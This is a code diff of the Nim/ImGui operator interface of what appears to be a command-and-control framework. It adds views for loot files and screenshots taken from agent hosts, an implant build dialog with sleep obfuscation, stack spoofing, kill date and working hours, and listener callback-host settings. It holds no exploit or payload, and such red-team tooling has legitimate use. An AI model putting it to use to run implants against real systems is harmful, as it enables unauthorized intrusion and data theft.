ImGui_TableFlags_ScrollX.int32 or
ImGui_TableFlags_NoBordersInBodyUntilResize.int32 or
ImGui_TableFlags_SizingStretchSame.int32
)
let cols: int32 = 6
if igBeginTable("##Items", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
igTableSetupColumn("ID", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
igTableSetupColumn("Host", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Path", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Creation Date", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Size", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupScrollFreeze(0, 1)
igTableHeadersRow()
for i, item in component.items:
igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f)
if igTableSetColumnIndex(0):
igPushID_Int(i.int32)
let isSelected = component.selectedIndex == i
if igSelectable_Bool(item.lootId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32 or ImGuiSelectableFlags_AllowOverlap.int32, vec2(0, 0)):
component.selectedIndex = i
component.textarea.clear()
if igIsItemHovered(ImGuiHoveredFlags_None.int32) and igIsMouseClicked_Bool(ImGuiMouseButton_Right.int32, false):
component.selectedIndex = i
igPopID()
if igTableSetColumnIndex(1):
igText(item.agentId.cstring)
if igTableSetColumnIndex(2):
igText(item.host.cstring)
if igTableSetColumnIndex(3):
igText(item.path.extractFilename().replace("C_", "C:/").replace("_", "/").cstring)
if igTableSetColumnIndex(4):
igText(item.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss").cstring)
if igTableSetColumnIndex(5):
igText(($item.size).cstring)
# Handle right-click context menu
if component.selectedIndex >= 0 and component.selectedIndex < component.items.len and igBeginPopupContextWindow("Downloads", ImGui_PopupFlags_MouseButtonRight.int32):
let item = component.items[component.selectedIndex]
if igMenuItem("Download", nil, false, true):
# Download file
try:
let path = callDialogFileSave("Save File")
let data = component.contents[item.lootId]
writeFile(path, data)
except IOError:
discard
igCloseCurrentPopup()
if igMenuItem("Remove", nil, false, true):
# Task team server to remove the loot item
connection.sendRemoveLoot(item.lootId)
component.items.delete(component.selectedIndex)
igCloseCurrentPopup()
igEndPopup()
igEndTable()
igEndChild()
igSameLine(0.0f, 0.0f)
# Right panel (file content)
if igBeginChild_Str("##Preview", vec2(0.0f, 0.0f), ImGui_ChildFlags_Borders.int32, ImGui_WindowFlags_None.int32):
if component.selectedIndex >= 0 and component.selectedIndex < component.items.len:
let item = component.items[component.selectedIndex]
if not component.contents.hasKey(item.lootId):
connection.sendGetLoot(item.lootId)
component.contents[item.lootId] = "" # Ensure that the sendGetLoot() function is sent only once by setting a value for the table key
else:
igText(fmt"[{item.host}] ".cstring)
igSameLine(0.0f, 0.0f)
igText(item.path.extractFilename().replace("C_", "C:/").replace("_", "/").cstring)
igDummy(vec2(0.0f, 5.0f))
igSeparator()
igDummy(vec2(0.0f, 5.0f))
if component.textarea.isEmpty() and not component.contents[item.lootId].isEmptyOrWhitespace():
component.textarea.addItem(LOG_OUTPUT, component.contents[item.lootId])
component.textarea.draw(vec2(-1.0f, -1.0f))
else:
igText("Select item to preview contents")
igEndChild()

View File

@@ -0,0 +1,147 @@
import times, tables, native_dialogs
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/appImGui
import ../../../common/[types, utils]
import ../../core/websocket
type
ScreenshotTexture* = ref object
textureId*: GLuint
data*: string
width: int
height: int
ScreenshotsComponent* = ref object of RootObj
title: string
items*: seq[LootItem]
selectedIndex: int
textures: Table[string, ScreenshotTexture]
proc LootScreenshots*(title: string): ScreenshotsComponent =
result = new ScreenshotsComponent
result.title = title
result.items = @[]
result.selectedIndex = -1
result.textures = initTable[string, ScreenshotTexture]()
proc addTexture*(component: ScreenshotsComponent, lootId: string, data: string) =
var textureId: GLuint
let (width, height) = loadTextureFromBytes(string.toBytes(data), textureId)
component.textures[lootId] = ScreenshotTexture(
textureId: textureId,
data: data,
width: width,
height: height
)
proc draw*(component: ScreenshotsComponent, showComponent: ptr bool, connection: WsConnection) =
igBegin(component.title.cstring, showComponent, 0)
defer: igEnd()
var availableSize: ImVec2
igGetContentRegionAvail(addr availableSize)
# Left panel (file table)
let childFlags = ImGui_ChildFlags_ResizeX.int32 or ImGui_ChildFlags_NavFlattened.int32
if igBeginChild_Str("##Left", vec2(availableSize.x * 0.5f, 0.0f), childFlags, ImGui_WindowFlags_None.int32):
let tableFlags = (
ImGui_TableFlags_Resizable.int32 or
ImGui_TableFlags_Reorderable.int32 or
ImGui_TableFlags_Hideable.int32 or
ImGui_TableFlags_HighlightHoveredColumn.int32 or
ImGui_TableFlags_RowBg.int32 or
ImGui_TableFlags_BordersV.int32 or
ImGui_TableFlags_BordersH.int32 or
ImGui_TableFlags_ScrollY.int32 or
ImGui_TableFlags_ScrollX.int32 or
ImGui_TableFlags_NoBordersInBodyUntilResize.int32 or
ImGui_TableFlags_SizingStretchSame.int32
)
let cols: int32 = 5
if igBeginTable("##Items", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
igTableSetupColumn("ID", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
igTableSetupColumn("Host", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Creation Date", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("File Size", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupScrollFreeze(0, 1)
igTableHeadersRow()
for i, item in component.items:
igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f)
if igTableSetColumnIndex(0):
igPushID_Int(i.int32)
let isSelected = component.selectedIndex == i
if igSelectable_Bool(item.lootId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32 or ImGuiSelectableFlags_AllowOverlap.int32, vec2(0, 0)):
component.selectedIndex = i
if igIsItemHovered(ImGuiHoveredFlags_None.int32) and igIsMouseClicked_Bool(ImGuiMouseButton_Right.int32, false):
component.selectedIndex = i
igPopID()
if igTableSetColumnIndex(1):
igText(item.agentId.cstring)
if igTableSetColumnIndex(2):
igText(item.host.cstring)
if igTableSetColumnIndex(3):
igText(item.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss").cstring)
if igTableSetColumnIndex(4):
igText(($item.size).cstring)
# Handle right-click context menu
if component.selectedIndex >= 0 and component.selectedIndex < component.items.len and igBeginPopupContextWindow("Downloads", ImGui_PopupFlags_MouseButtonRight.int32):
let item = component.items[component.selectedIndex]
if igMenuItem("Download", nil, false, true):
# Download screenshot
try:
let path = callDialogFileSave("Save File")
let data = component.textures[item.lootId].data
writeFile(path, data)
except IOError:
discard
igCloseCurrentPopup()
if igMenuItem("Remove", nil, false, true):
# Task team server to remove the loot item
connection.sendRemoveLoot(item.lootId)
component.items.delete(component.selectedIndex)
igCloseCurrentPopup()
igEndPopup()
igEndTable()
igEndChild()
igSameLine(0.0f, 0.0f)
# Right panel (file content)
if igBeginChild_Str("##Preview", vec2(0.0f, 0.0f), ImGui_ChildFlags_Borders.int32, ImGui_WindowFlags_None.int32):
if component.selectedIndex >= 0 and component.selectedIndex < component.items.len:
let item = component.items[component.selectedIndex]
# Check if the texture for the loot item has already been loaded from the team server
# If the texture doesn't exist yet, send a request to the team server to retrieve and render it
if not component.textures.hasKey(item.lootId):
connection.sendGetLoot(item.lootId)
component.textures[item.lootId] = nil # Ensure that the sendGetLoot() function is sent only once by setting a value for the table key
# Display the image preview
else:
let texture = component.textures[item.lootId]
if not texture.isNil():
igImage(ImTextureRef(internal_TexData: nil, internal_TexID: texture.textureId), vec2(texture.width, texture.height), vec2(0, 0), vec2(1, 1))
else:
igText("Select item for preview.")
igEndChild()

View File

@@ -0,0 +1,115 @@
import times
import imguin/[cimgui, glfw_opengl]
import ../../utils/appImGui
type
KillDateModalComponent* = ref object of RootObj
killDateTime: ImPlotTime
killDateLevel: int32
killDateHour: int32
killDateMinute: int32
killDateSecond: int32
proc KillDateModal*(): KillDateModalComponent =
result = new KillDateModalComponent
result.killDateLevel = 0
result.killDateTime = ImPlotTIme()
# Initialize to current date
# Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction
let now = now()
ImPlot_MakeTime(addr result.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0)
result.killDateHour = 0
result.killDateMinute = 0
result.killDateSecond = 0
proc wrapValue(value: int32, max: int32): int32 =
result = value mod max
if result < 0:
result += max
proc resetModalValues*(component: KillDateModalComponent) =
component.killDateLevel = 0
component.killDateTime = ImPlotTIme()
# Initialize to current date
let now = now()
ImPlot_MakeTime(addr component.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0)
component.killDateHour = 0
component.killDateMinute = 0
component.killDateSecond = 0
proc draw*(component: KillDateModalComponent): int64 =
result = 0
# Center modal
let vp = igGetMainViewport()
var center: ImVec2
ImGuiViewport_GetCenter(addr center, vp)
igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f))
let modalWidth = max(400.0f, vp.Size.x * 0.2)
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
var show = true
let windowFlags = ImGuiWindowFlags_None.int32
if igBeginPopupModal("Configure Kill Date", addr show, windowFlags):
defer: igEndPopup()
let textSpacing = igGetStyle().ItemSpacing.x
var availableSize: ImVec2
# Date picker
if ImPlot_ShowDatePicker("##KillDate", addr component.killDateLevel, addr component.killDateTime, nil, nil):
discard
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
# Time input fields
var charSize: ImVec2
igCalcTextSize(addr charSize, "00", nil, false, -1.0)
let charWidth = charSize.x + 10.0f
let dateText = component.killDateTime.S.fromUnix().utc().format("dd. MMMM yyyy") & '\0'
igInputText("##Text", dateText.cstring, dateText.len().csize_t, ImGui_InputTextFlags_ReadOnly.int32, nil, nil)
igSameLine(0.0f, textSpacing)
igPushItemWidth(charWidth)
igInputScalar("##KillDateHour", ImGuiDataType_S32.int32, addr component.killDateHour, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##HillDateMinute", ImGuiDataType_S32.int32, addr component.killDateMinute, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##KillDateSecond", ImGuiDataType_S32.int32, addr component.killDateSecond, nil, nil, "%02d", 0)
igPopItemWidth()
# Wrap time values
component.killDateHour = wrapValue(component.killDateHour, 24)
component.killDateMinute = wrapValue(component.killDateMinute, 60)
component.killDateSecond = wrapValue(component.killDateSecond, 60)
igGetContentRegionAvail(addr availableSize)
igDummy(vec2(0.0f, 10.0f))
if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond
component.resetModalValues()
igCloseCurrentPopup()
igSameLine(0.0f, textSpacing)
if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
component.resetModalValues()
igCloseCurrentPopup()

View File

@@ -0,0 +1,101 @@
import imguin/[cimgui, glfw_opengl]
import ../../utils/appImGui
import ../../../common/types
type
WorkingHoursModalComponent* = ref object of RootObj
workingHours: WorkingHours
proc WorkingHoursModal*(): WorkingHoursModalComponent =
result = new WorkingHoursModalComponent
result.workingHours = WorkingHours(
enabled: false,
startHour: 9,
startMinute: 0,
endHour: 17,
endMinute: 0
)
proc resetModalValues*(component: WorkingHoursModalComponent) =
component.workingHours = WorkingHours(
enabled: false,
startHour: 9,
startMinute: 0,
endHour: 17,
endMinute: 0
)
proc wrapValue(value: int32, max: int32): int32 =
result = value mod max
if result < 0:
result += max
proc draw*(component: WorkingHoursModalComponent): WorkingHours =
result = component.workingHours
# Center modal
let vp = igGetMainViewport()
var center: ImVec2
ImGuiViewport_GetCenter(addr center, vp)
igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f))
let modalWidth = max(400.0f, vp.Size.x * 0.2)
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
var show = true
let windowFlags = ImGuiWindowFlags_None.int32
if igBeginPopupModal("Configure Working Hours", addr show, windowFlags):
defer: igEndPopup()
let textSpacing = igGetStyle().ItemSpacing.x
var availableSize: ImVec2
var charSize: ImVec2
igCalcTextSize(addr charSize, "00", nil, false, -1.0)
let charWidth = charSize.x + 10.0f
igText("Start: ")
igSameLine(0.0f, textSpacing)
igPushItemWidth(charWidth)
igInputScalar("##StartHours", ImGuiDataType_S32.int32, addr component.workingHours.startHour, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##StartMinute", ImGuiDataType_S32.int32, addr component.workingHours.startMinute, nil, nil, "%02d", 0)
igPopItemWidth()
igText("End: ")
igSameLine(0.0f, textSpacing)
igPushItemWidth(charWidth)
igInputScalar("##EndHour", ImGuiDataType_S32.int32, addr component.workingHours.endHour, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##EndMinute", ImGuiDataType_S32.int32, addr component.workingHours.endMinute, nil, nil, "%02d", 0)
igPopItemWidth()
# Wrap time values
component.workingHours.startHour = wrapValue(component.workingHours.startHour, 24)
component.workingHours.endHour = wrapValue(component.workingHours.endHour, 24)
component.workingHours.startMinute = wrapValue(component.workingHours.startMinute, 60)
component.workingHours.endMinute = wrapValue(component.workingHours.endMinute, 60)
igGetContentRegionAvail(addr availableSize)
igDummy(vec2(0.0f, 10.0f))
if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
component.workingHours.enabled = true
result = component.workingHours
component.resetModalValues()
igCloseCurrentPopup()
igSameLine(0.0f, textSpacing)
if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
component.resetModalValues()
igCloseCurrentPopup()

View File

@@ -1,27 +1,49 @@
import strutils, sequtils, times
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors]
import ../../../common/[types, profile, utils]
import strutils, strformat, sequtils, times
import imguin/[cimgui, glfw_opengl]
import ../widgets/[dualListSelection, textarea]
import ./[configureKillDate, configureWorkingHours]
import ../../utils/appImGui
import ../../../common/types
import ../../../modules/manager
import ../widgets/dualListSelection
export addItem
type
AgentModalComponent* = ref object of RootObj
listener: int32
sleepDelay: uint32
jitter: int32
sleepMask: int32
spoofStack: bool
killDateEnabled: bool
killDate: int64
workingHoursEnabled: bool
workingHours: WorkingHours
verbose: bool
sleepMaskTechniques: seq[string]
moduleSelection: DualListSelectionComponent[Module]
buildLog: ConsoleItems
moduleSelection: DualListSelectionWidget[Module]
buildLog*: TextareaWidget
killDateModal*: KillDateModalComponent
workingHoursModal*: WorkingHoursModalComponent
proc AgentModal*(): AgentModalComponent =
result = new AgentModalComponent
result.listener = 0
result.sleepDelay = 5
result.jitter = 15
result.sleepMask = 0
result.spoofStack = false
result.killDateEnabled = false
result.killDate = 0
result.workingHoursEnabled = false
result.workingHours = WorkingHours(
enabled: false,
startHour: 0,
startMinute: 0,
endHour: 0,
endMinute: 0
)
result.verbose = false
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
result.sleepMaskTechniques.add($technique)
@@ -37,43 +59,29 @@ proc AgentModal*(): AgentModalComponent =
return cmp(x.moduleType, y.moduleType)
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
result.buildlog = new ConsoleItems
result.buildLog.items = @[]
result.buildLog = Textarea(showTimestamps = false)
result.killDateModal = KillDateModal()
result.workingHoursModal = WorkingHoursModal()
proc resetModalValues*(component: AgentModalComponent) =
component.listener = 0
component.sleepDelay = 5
component.jitter = 15
component.sleepMask = 0
component.spoofStack = false
component.killDateEnabled = false
component.killDate = 0
component.workingHoursEnabled = false
component.workingHours = WorkingHours(
enabled: false,
startHour: 0,
startMinute: 0,
endHour: 0,
endMinute: 0
)
component.verbose = false
component.moduleSelection.reset()
component.buildLog.items = @[]
proc addBuildlogItem*(component: AgentModalComponent, itemType: LogType, data: string, timestamp: int64 = now().toTime().toUnix()) =
for line in data.split("\n"):
component.buildLog.items.add(ConsoleItem(
timestamp: timestamp,
itemType: itemType,
text: line
))
proc print(component: AgentModalComponent, item: ConsoleItem) =
case item.itemType:
of LOG_INFO, LOG_INFO_SHORT:
igTextColored(CONSOLE_INFO, $item.itemType)
of LOG_ERROR, LOG_ERROR_SHORT:
igTextColored(CONSOLE_ERROR, $item.itemType)
of LOG_SUCCESS, LOG_SUCCESS_SHORT:
igTextColored(CONSOLE_SUCCESS, $item.itemType)
of LOG_WARNING, LOG_WARNING_SHORT:
igTextColored(CONSOLE_WARNING, $item.itemType)
of LOG_COMMAND:
igTextColored(CONSOLE_COMMAND, $item.itemType)
of LOG_OUTPUT:
igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), $item.itemType)
igSameLine(0.0f, 0.0f)
igTextUnformatted(item.text.cstring, nil)
component.buildLog.clear()
proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBuildInformation =
@@ -110,6 +118,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igSetNextItemWidth(availableSize.x)
igInputScalar("##InputSleepDelay", ImGuiDataType_U32.int32, addr component.sleepDelay, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
# Jitter
igText("Jitter: ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igSliderInt("##InputJitter", addr component.jitter, 0, 100, "%d%%", ImGui_SliderFlags_None.int32)
# Agent sleep obfuscation technique dropdown selection
igText("Sleep mask: ")
igSameLine(0.0f, textSpacing)
@@ -127,6 +141,52 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igCheckbox("##InputSpoofStack", addr component.spoofStack)
igEndDisabled()
# Verbose mode checkbox
igText("Verbose: ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igCheckbox("##InputVerbose", addr component.verbose)
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
# Kill date (checkbox & button to choose date)
igText("Kill date: ")
igSameLine(0.0f, textSpacing)
igCheckbox("##InputKillDate", addr component.killDateEnabled)
igSameLine(0.0f, textSpacing)
igBeginDisabled(not component.killDateEnabled)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
if igButton((if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") & " UTC" else: "Configure##KillDate").cstring, vec2(-1.0f, 0.0f)):
igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32)
igEndDisabled()
let killDate = component.killDateModal.draw()
if killDate != 0:
component.killDate = killDate
# Working hours
igText("Working hours: ")
igSameLine(0.0f, textSpacing)
igCheckbox("##InputWorkingHours", addr component.workingHoursEnabled)
igSameLine(0.0f, textSpacing)
igBeginDisabled(not component.workingHoursEnabled)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
let workingHoursLabel = fmt"{component.workingHours.startHour:02}:{component.workingHours.startMinute:02} - {component.workingHours.endHour:02}:{component.workingHours.endMinute:02}"
if igButton((if component.workingHours.enabled: workingHoursLabel else: "Configure##WorkingHours").cstring, vec2(-1.0f, 0.0f)):
igOpenPopup_str("Configure Working Hours", ImGui_PopupFlags_None.int32)
igEndDisabled()
let workingHours = component.workingHoursModal.draw()
if workingHours.enabled:
component.workingHours = workingHours
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
@@ -142,32 +202,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igDummy(vec2(0.0f, 10.0f))
igText("Build log: ")
try:
# Set styles of the eventlog window
igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f))
igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f)
let buildLogHeight = 250.0f
let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32
if igBeginChild_Str("##Log", vec2(-1.0f, buildLogHeight), childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32):
# Display eventlog items
for item in component.buildLog.items:
component.print(item)
# Auto-scroll to bottom
if igGetScrollY() >= igGetScrollMaxY():
igSetScrollHereY(1.0f)
except IndexDefect:
# CTRL+A crashes when no items are in the eventlog
discard
finally:
igPopStyleColor(3)
igPopStyleVar(1)
igEndChild()
let buildLogHeight = igGetTextLineHeightWithSpacing() * 7.0f + igGetStyle().ItemSpacing.y
component.buildLog.draw(vec2(-1.0f, buildLogHeight))
igDummy(vec2(0.0f, 10.0f))
igSeparator()
@@ -178,6 +214,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
if igButton("Build", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
component.buildLog.clear()
# Iterate over modules
var modules: uint32 = 0
for m in component.moduleSelection.items[1]:
@@ -185,9 +223,15 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
result = AgentBuildInformation(
listenerId: listeners[component.listener].listenerId,
sleepSettings: SleepSettings(
sleepDelay: component.sleepDelay,
jitter: cast[uint32](component.jitter),
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
spoofStack: component.spoofStack,
workingHours: if component.workingHoursEnabled: component.workingHours else: WorkingHours(enabled: false, startHour: 0, startMinute: 0, endHour: 0, endMinute: 0)
),
verbose: component.verbose,
killDate: if component.killDateEnabled: component.killDate else: 0,
modules: modules
)

View File

@@ -1,5 +1,5 @@
import strutils
import imguin/[cimgui, glfw_opengl, simple]
import imguin/[cimgui, glfw_opengl]
import ../../utils/appImGui
import ../../../common/[types, utils]
@@ -7,22 +7,25 @@ const DEFAULT_PORT = 8080'u16
type
ListenerModalComponent* = ref object of RootObj
address: array[256, char]
port: uint16
callbackHosts: array[256 * 32, char]
bindAddress: array[256, char]
bindPort: uint16
protocol: int32
protocols: seq[string]
proc ListenerModal*(): ListenerModalComponent =
result = new ListenerModalComponent
zeroMem(addr result.address[0], 256)
result.port = DEFAULT_PORT
zeroMem(addr result.callbackHosts[0], 256 * 32)
zeroMem(addr result.bindAddress[0], 256)
result.bindPort = DEFAULT_PORT
result.protocol = 0
for p in Protocol.low .. Protocol.high:
result.protocols.add($p)
proc resetModalValues(component: ListenerModalComponent) =
zeroMem(addr component.address[0], 256)
component.port = DEFAULT_PORT
zeroMem(addr component.callbackHosts[0], 256 * 32)
zeroMem(addr component.bindAddress[0], 256)
component.bindPort = DEFAULT_PORT
component.protocol = 0
proc draw*(component: ListenerModalComponent): UIListener =
@@ -43,28 +46,41 @@ proc draw*(component: ListenerModalComponent): UIListener =
defer: igEndPopup()
var availableSize: ImVec2
igGetContentRegionAvail(addr availableSize)
# Listener address
igText("Host: ")
igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
igInputTextWithHint("##InputAddress", "127.0.0.1", addr component.address[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
# Listener port
let step: uint16 = 1
igText("Port: ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igInputScalar("##InputPort", ImGuiDataType_U16.int32, addr component.port, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
# Listener protocol dropdown selection
# Listener protocol/type dropdown selection
igText("Protocol: ")
igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
igCombo_Str("##InputProtocol", addr component.protocol, (component.protocols.join("\0") & "\0").cstring , component.protocols.len().int32)
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
# HTTP Listener settings
if component.protocols[component.protocol] == $HTTP:
# Listener bindAddress
igText("Host (Bind): ")
igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
igInputTextWithHint("##InputAddressBind", "0.0.0.0", cast[cstring](addr component.bindAddress[0]), 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
# Listener bindPort
let step: uint16 = 1
igText("Port (Bind): ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igInputScalar("##InputPortBind", ImGuiDataType_U16.int32, addr component.bindPort, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
# Callback hosts
igText("Hosts (Callback): ")
igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
igInputTextMultiline("##InputCallbackHosts", cast[cstring](addr component.callbackHosts[0]), 256 * 32, vec2(0.0f, 3.0f * igGetTextLineHeightWithSpacing()), ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
igGetContentRegionAvail(addr availableSize)
igDummy(vec2(0.0f, 10.0f))
@@ -72,13 +88,43 @@ proc draw*(component: ListenerModalComponent): UIListener =
igDummy(vec2(0.0f, 10.0f))
# Only enabled the start button when valid values have been entered
igBeginDisabled(($(addr component.address[0]) == "") or (component.port <= 0))
igBeginDisabled(($cast[cstring]((addr component.bindAddress[0])) == "") or (component.bindPort <= 0))
if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
# Process input values
var hosts: string = ""
let
callbackHosts = $cast[cstring]((addr component.callbackHosts[0]))
bindAddress = $cast[cstring]((addr component.bindAddress[0]))
bindPort = int(component.bindPort)
if callbackHosts.isEmptyOrWhitespace():
hosts &= bindAddress & ":" & $bindPort
else:
for host in callbackHosts.splitLines():
if host.isEmptyOrWhitespace():
continue
hosts &= ";"
let hostParts = host.split(":")
if hostParts.len() == 2:
if not hostParts[1].isEmptyOrWhitespace():
hosts &= hostParts[0] & ":" & hostParts[1]
else:
hosts &= hostParts[0] & ":" & $bindPort
elif hostParts.len() == 1 and not hostParts[0].isEmptyOrWhitespace():
hosts &= hostParts[0] & ":" & $bindPort
hosts.removePrefix(";")
# Return new listener object
result = UIListener(
listenerId: generateUUID(),
address: $(addr component.address[0]),
port: int(component.port),
hosts: hosts,
address: bindAddress,
port: bindPort,
protocol: cast[Protocol](component.protocol)
)
component.resetModalValues()

View File

@@ -2,14 +2,17 @@ import times, tables, strformat, strutils, algorithm
import imguin/[cimgui, glfw_opengl, simple]
import ./console
import ../core/[task, websocket]
import ../utils/[appImGui, colors]
import ../../common/[types, utils]
import ../../modules/manager
import ../../common/types
type
SessionsTableComponent* = ref object of RootObj
title: string
agents*: seq[UIAgent]
agentActivity*: Table[string, int64] # Direct O(1) access to latest checkin
agentImpersonation*: Table[string, string]
selection: ptr ImGuiSelectionBasicStorage
consoles: ptr Table[string, ConsoleComponent]
@@ -38,12 +41,14 @@ proc interact(component: SessionsTableComponent) =
# Focus the existing console window
else:
igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}")
igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}".cstring)
component.selection.ImGuiSelectionBasicStorage_Clear()
proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
igBegin(component.title, showComponent, 0)
proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connection: WsConnection) =
igBegin(component.title.cstring, showComponent, 0)
let textSpacing = igGetStyle().ItemSpacing.x
let tableFlags = (
ImGuiTableFlags_Resizable.int32 or
@@ -64,8 +69,8 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
igTableSetupColumn("Internal", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("External", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
igTableSetupColumn("IP (Internal)", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("IP (External)", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
@@ -84,37 +89,49 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
# Sort sessions table based on first checkin
component.agents.sort(cmp)
for row, agent in component.agents:
igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f)
